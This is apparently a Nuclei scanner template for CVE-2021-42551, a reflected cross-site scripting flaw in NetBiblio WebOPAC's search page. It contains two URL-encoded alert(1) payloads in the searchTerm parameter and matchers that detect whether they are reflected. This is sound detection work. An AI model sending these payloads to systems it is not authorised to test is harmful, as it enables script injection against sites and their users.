60 lines
1.8 KiB
YAML
60 lines
1.8 KiB
YAML
id: CVE-2021-42551
|
|
|
|
info:
|
|
name: NetBiblio WebOPAC - Cross-Site Scripting
|
|
author: compr00t
|
|
severity: medium
|
|
description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
|
|
remediation: |
|
|
Upgrade to the latest version to mitigate this vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42551
|
|
- https://www.redguard.ch/advisories/netbiblio_webopac.txt
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-42551
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00124
|
|
epss-percentile: 0.46543
|
|
cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: alcoda
|
|
product: netbiblio
|
|
tags: cve,cve2021,xss,netbiblio
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
|
|
- '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'
|
|
|
|
host-redirects: true
|
|
max-redirects: 3
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "SearchTerm: 'x'+alert(1)+'x',"
|
|
- "SearchTerm: 'x\\\\'+alert(1),//',"
|
|
condition: or
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "NetBiblio"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022100b75dd9b9ed3240c5f4f47c3879da80f28c84b7decb082df2fdecc6e85b0205bd02200e6cea496201204ce18c1f8552cd1b820006bcb52056415dadda2a420fa393d7:922c64590222798bb761d5b6d8e72950
|